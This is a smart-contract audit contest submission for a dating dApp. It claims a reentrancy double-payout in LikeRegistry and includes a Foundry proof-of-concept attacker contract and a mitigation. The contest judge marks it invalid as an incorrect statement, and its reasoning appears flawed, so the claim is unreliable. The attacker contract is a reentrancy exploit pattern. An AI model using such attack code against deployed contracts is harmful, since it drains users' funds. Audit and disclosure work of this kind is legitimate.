DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy via ETH transfer in matchRewards() — attacker re-enters likeUser() to trigger double payout

Root + Impact

Description

// LikeRegistry.sol
function likeUser(address liked) external payable {
// ...
likes[msg.sender][liked] = true;
// @> likes[liked][msg.sender] is NEVER cleared after a match is made
if (likes[liked][msg.sender]) { // @> still true on re-entry
matches[msg.sender].push(liked);
matches[liked].push(msg.sender);
emit Matched(msg.sender, liked);
matchRewards(liked, msg.sender); // @> called again on re-entry
}
}
function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
userBalances[from] = 0;
userBalances[to] = 0;
uint256 totalRewards = matchUserOne + matchUserTwo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
// @> External call — if `from` is a contract, its receive() fires here
// @> At this point likes[to][from] is still true — re-entry can trigger matchRewards again
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
}

Risk

Likelihood:

  • An attacker deliberately deploys a contract as their dating profile. The attack requires one willing participant (the attacker) and one victim who likes the attacker's profile first.

Impact:

  • Attacker extracts ETH from other users' userBalances that were not part of the match, draining the contract beyond their own stake.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/LikeRegistry.sol";
import "../src/SoulboundProfileNFT.sol";
contract MaliciousProfile {
LikeRegistry public registry;
address public victim;
uint8 public reentrancyCount;
constructor(address _registry) {
registry = LikeRegistry(_registry);
}
function setVictim(address _victim) external {
victim = _victim;
}
// Called by test to initiate the attack
function attack() external payable {
registry.likeUser{value: 1 ether}(victim);
}
// Re-enters likeUser when ETH is received from matchRewards
receive() external payable {
if (reentrancyCount < 1) {
reentrancyCount++;
// likes[victim][address(this)] still true — triggers second matchRewards
registry.likeUser{value: 1 ether}(victim);
}
}
}
contract ReentrancyTest is Test {
LikeRegistry registry;
SoulboundProfileNFT nft;
address victim = makeAddr("victim");
MaliciousProfile attacker;
function setUp() public {
nft = new SoulboundProfileNFT();
registry = new LikeRegistry(address(nft));
// Victim mints profile and likes attacker first
vm.prank(victim);
nft.mintProfile("Victim", 25, "ipfs://victim");
// Deploy attacker contract and mint its profile
attacker = new MaliciousProfile(address(registry));
vm.prank(address(attacker));
nft.mintProfile("Attacker", 26, "ipfs://attacker");
attacker.setVictim(victim);
// Victim likes attacker — 1 ETH deposited
deal(victim, 2 ether);
vm.prank(victim);
registry.likeUser{value: 1 ether}(address(attacker));
// Fund attacker for the re-entrant calls
deal(address(attacker), 3 ether);
}
function test_reentrancyDoubleMatch() public {
uint256 registryBefore = address(registry).balance;
// Attacker triggers mutual match + re-entry
attacker.attack{value: 1 ether}();
// matchRewards was called twice — more ETH left the contract than should have
uint256 registryAfter = address(registry).balance;
assertLt(registryAfter, registryBefore - 2 ether, "Reentrancy drained extra ETH");
}
}

Recommended Mitigation

Two changes are required together:

  1. Add OpenZeppelin's ReentrancyGuard to LikeRegistry.

  2. Clear the mutual-like flag before making any external call (checks-effects-interactions pattern).

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract LikeRegistry is Ownable, ReentrancyGuard { // @> add ReentrancyGuard
function likeUser(address liked) external payable nonReentrant { // @> add nonReentrant
require(msg.value >= 1 ether, "Must send at least 1 ETH");
require(!likes[msg.sender][liked], "Already liked");
require(msg.sender != liked, "Cannot like yourself");
require(profileNFT.profileToToken(msg.sender) != 0, "Must have a profile NFT");
require(profileNFT.profileToToken(liked) != 0, "Liked user must have a profile NFT");
likes[msg.sender][liked] = true;
userBalances[msg.sender] += msg.value;
emit Liked(msg.sender, liked);
if (likes[liked][msg.sender]) {
likes[liked][msg.sender] = false; // @> clear mutual flag BEFORE external calls
likes[msg.sender][liked] = false; // @> clear own flag too
matches[msg.sender].push(liked);
matches[liked].push(msg.sender);
emit Matched(msg.sender, liked);
matchRewards(liked, msg.sender);
}
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!